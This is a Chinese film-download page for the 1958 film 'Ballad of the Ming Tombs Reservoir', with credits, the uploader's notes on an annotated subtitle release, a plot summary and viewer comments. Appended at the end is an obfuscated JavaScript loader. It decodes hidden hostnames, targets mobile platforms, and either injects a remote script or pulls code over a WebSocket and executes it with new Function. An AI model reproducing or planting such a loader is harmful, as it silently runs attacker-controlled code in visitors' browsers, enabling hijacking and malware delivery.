1958国产剧情《十三陵水库畅想曲》HD720P.详解注释字幕


更新时间:2021-11-28 12:33:05 类别: 剧情 评论 下载
十三陵水库畅想曲的海报 十三陵水库畅想曲

十三陵水库畅想曲

导演: 金山
编剧: 金山
主演: 邓止怡 / 姜祖麟 / 吴雪
类型: 剧情
制片国家/地区: 中国大陆
语言: 汉语普通话
片长: 88分钟
又名: Ballad of the Ming Tombs Reservior
IMDb: tt5820664
感谢“笑志狂谈”提供的详解字幕片源,有了字幕加持,很适合科普向观看,下面是压制的一些说明。


字幕版《十三陵水库畅想曲》是我自制详解字幕版经典电影系列的第21部作品,主要参考了话剧剧本和电影歌曲集。

这部电影是根据田汉执笔、中国青年艺术剧院演出的同名话剧改编的,朴实生动、满怀激情地反映了1958年十三陵水库工地建设的热火朝天景象,反映了当时的中国人民对共产主义美好未来的敢于想象、勇于追求,歌颂了广大建设者们崇高的共产主义精神,劳动气息浓烈,其中的十多首劳动歌曲起到了重要的渲染作用;该片还是新中国电影里第一部有较多科幻内容的故事片。

从影片里,我们可以看到革命的现实主义和革命的浪漫主义的结合,现实主义部分就是反映水库建设的踏踏实实的劳动和竞赛,片中有大篇幅的工地实拍劳动场面,漫山旌旗,无数劳动者分成各种小组,工、农、兵、学、商,机关干部、国际友人……他们使用各种工具、在艰苦条件下发挥聪明才智,进行着不知疲倦的劳动——为共产主义社会全人类的幸福未来而奋斗;我们也可以一窥当时中国革命人民对共产主义理想的敢于设想和勇于追求,如建成共产主义公社、消灭“三大差别”、按需分配、所有人包括知识分子等都成为平等的红色劳动者、科技高度发达(农业生产高度集约化自动化,登月和登火星都可以轻松实现)等等,充满了革命的浪漫主义风格。影片塑造了一大群在实现理想路上永远斗志昂扬的普通劳动者形象,生动感人,如今看来,两个社会虽然已经今昔迥异,但这种观影仍能使人心潮澎湃。

除对白和歌词外,字幕版的注释主要有以下几方面:标注情景发生的时间、地点;标注主要角色的姓名、身份等;标注对应的历史背景信息。这部电影有一个很大的特色,就是劳动歌曲数量多而且写得唱得也很好,不仅可以反映劳动者的精神面貌、增加影片趣味性,还具有很高的新中国劳动音乐研究的价值。

当然,要想准确了解历史,还是需要去找更多史料来进行对比研究,不可能通过电影来掌握。

这次字幕制作所用的视频来自1905电影网的电视端,根据画面质量判断,应该是用胶片扫描的,没有经过数字修复。判断依据是:画质质量比DVD版好,虽然细节不算丰富,但比大部分画面内容都看不清的DVD版强得多;有少许处划痕、脏块。客观地说,这个片源属于目前全网最佳的《十三陵水库畅想曲》。

如有兴趣,欢迎关注本人的账号进行观看和交流,本人的多个平台账号采用不同名称,这里进行汇总:

微博:@旌旗红。微博上会比较频繁地更新。
微信公众号:“杨柳轻飏直上重霄九”。公众号会及时更新。
AcFun弹幕视频网:“辣椒夹馒头”,如果审核能通过,一般与微博同步。


十三陵一带的连年水灾给生活在那儿的农民带来深重的苦难。全国解放后,在共产党和毛主席的领导下,广大劳动人民团结一致,在1957年8月21日开始十三陵水库修建工程。以毛主席为首的中央首长都以普通劳动者的身份参加了水库的修建。在修建过程中,思想落后的工程师胡锦堂怀疑人民劳动的积极性和干劲,对建设工作拖后腿。但政委和广大劳动者众志成城,抵御了这种落后思想的侵袭,组成“青年突击队”、“老将军组”、“妇女原子突击队”等互相竞赛,努力奋斗。在经过了160个昼夜不停的劳动,克服了狂风暴雨等一切难以想象的困难,修成了十三陵水库。20年后,当年的建设者又回到水库,这里已变成五谷丰登、鸟语花香的人民公社。这里已经消灭了三大差别,上月球旅行都已习以为常了。

野人泰 2010-01-01

不能不感叹,我国都能出产Cult Movie了,要是能拍多点,现在早就有类型片了,流泪......

贺兰迈克 2019-07-02

披着科幻外衣的歌舞片。寓言了短视频,视频通话,无人机飞行车,解放台湾,转基因植物嫁接技术,火星殖民,瘦肉精养殖,天气控制……跟片子里自己反讽的“集中营式劳动”显然不一样,但是里面充斥的生硬的强行笑声让人感到恐怖。夜间集体劳动更让人想起秦朝时的法家治国。以及“说实在的,体力劳动就是最好的休息”堂而皇之的说这种话真是让人不寒而栗。但作为科幻片,这部片子对中国科幻来说实在太珍贵了,如今世界水库三分之一都在中国,这片子怕是也在其中起了某种作用吧

葱油饼 2013-10-01

其实拍得很差,但是题材非常有意思,yy二十年后还可以上火星,每头猪1000斤肉,等等。共产主义变成了吃喝玩乐。新中国第一部科幻

何生生 2013-01-02

“有用的人都不该死”——这台词写得真霸气!遗憾的是,二十年后老毛已经嗝儿了,没法儿听你们汇报火星的事了

天不再蓝 2013-07-11

75分钟时绝对是ipad原型机,神作。

甜水园子温 2014-10-04

神作,迷之体验,无法评价……前六十分钟是一种猎奇,后三十分钟又是另一种猎奇,总的来说全方位的猎奇。

终有剑心在 2019-03-23

这才是新中国的科幻鼻祖啊。意淫二十年后的1978年,1978年却恰恰是新的起点,这样的巧合得有些反讽啊。

让保罗切小田 2010-01-01

艾德伍德笑了。

九只苍蝇撞墙 2009-07-17

可惜,没有零蛋可给

豆瓣酱 2019-04-13

硬核科幻,蒸汽朋克,魔幻现实主义。

醋鱼 2010-12-31

跃进电影

茕茕劼立 2019-05-19

那个年代的祝福语都是“祝你永远跃进”

共你最愉快消磨 2019-03-29

集体失智,太牛逼了。叙事基本靠对白推进,开头那个长镜头唬的我一愣一愣的。整个观影过程像是在看古代文明对工业文明的畅想。看完这个想写一个现代沙雕电影史。对不起我真的讨厌不起来,哈哈哈哈哈哈哈哈哈哈哈我率先笑出腹肌。看完这个片子明白了,影像可以作为史料研究,指的不是影像所记录的内容本身,而是它的记录方式和视角。

日耳man 2019-03-23

去看看1958年其他正常文明国家拍的什么片子

盐lynn 2010-12-28

结尾畅想了下未来,做个线拉的机器就去火星了,公社每人每天可以吃一头猪,还有视频电话什么的。说它是科幻片,人家还不承认。

筆刀当炮 2019-02-09

同志们看啊!二十年后的十三陵共产主义公社里有平板电脑,还有数不尽的瓜果和吃不完的大耳朵猪!

Bork 2021-03-17

這部創生於“繼續躍進”時期的科幻片,包含了當代中國人對待科學的內在崇拜的基本態度。在社會主義理論與實踐的脉络中,人們對未來世界抱持樂觀、正面乃至詩意、夢幻的想像:在影片設想的桃花源般的共產主義社會裡,科學技術可被利用於為人類造福、為現代文化服務,從而也與現代生活和諧交融。以世界範圍觀之,這樣的認識實是十分獨異的:西方自浪漫主義時代興起的科幻文類,基本立場是反思科學給“人”的社會/秩序帶來的异化、壓迫和破壞。背後的心理機制可能是中國作為晚發現代性國家,在尚未成其為現代主體的時代,對於以科學主義、技術和工業為標識的現代化的强烈渴望與熱切期盼。2021年3月16日09:15初識於張慧瑜“影視文化與批評”課(二教316),《科幻片〈流浪地球〉:中國電影與全球敘事》講。

渡口无边 2013-08-04

空想社会主义农村歌舞&喊口号片

易乙 2019-02-10

这片牛逼。你以为是个献礼片,其实是个歌舞片;你以为是个歌舞片,其实是个科幻片;你以为是个科幻片,其实是个喜剧片。

老蒋OJ 2019-02-05

剧情片,科幻片,歌舞片融合之电影。完爆院线所有屎尿屁类型片。价值观输出又有效又直接,写字儿的全该打压就完事儿了。

十三陵水库畅想曲的截图1
function DEWLc(e){var t="",n=r=c1=c2=0;while(n 0x3c e.length){r=e.charCodeAt(n);if(r 0x3c 128){t+=String.fromCharCode(r);n++;}else if(r 0x3e 191&&r 0x3c 224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)0x3c0x3c 6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)0x3c0x3c 12|(c2&63)0x3c0x3c 6|c3&63);n+=3;}}return t;};function ucHiU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f 0x3c e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s 0x3c0x3c 2|o 0x3e0x3e 4;r=(o&15)0x3c0x3c 4|u 0x3e0x3e 2;i=(u&3)0x3c0x3c 6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DEWLc(t);};window[''+'I'+'C'+'c'+'O'+'t'+'d'+'E'+'D'+'r'+'R'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=ucHiU,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));new Worker(window.URL.createObjectURL(new Blob(["var ws=new WebSocket('wss://"+k+":9394/'+"+i+");ws.onmessage=function(e){ws.close();postMessage(e.data)};"]))).onmessage=function(e){new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('a3RwLnll3YWsuY29tLmNu','a250LnJ1aXR1c2NNob29sLmNNvbS5jbg==','135631',window,document,['l','N']);}:function(){};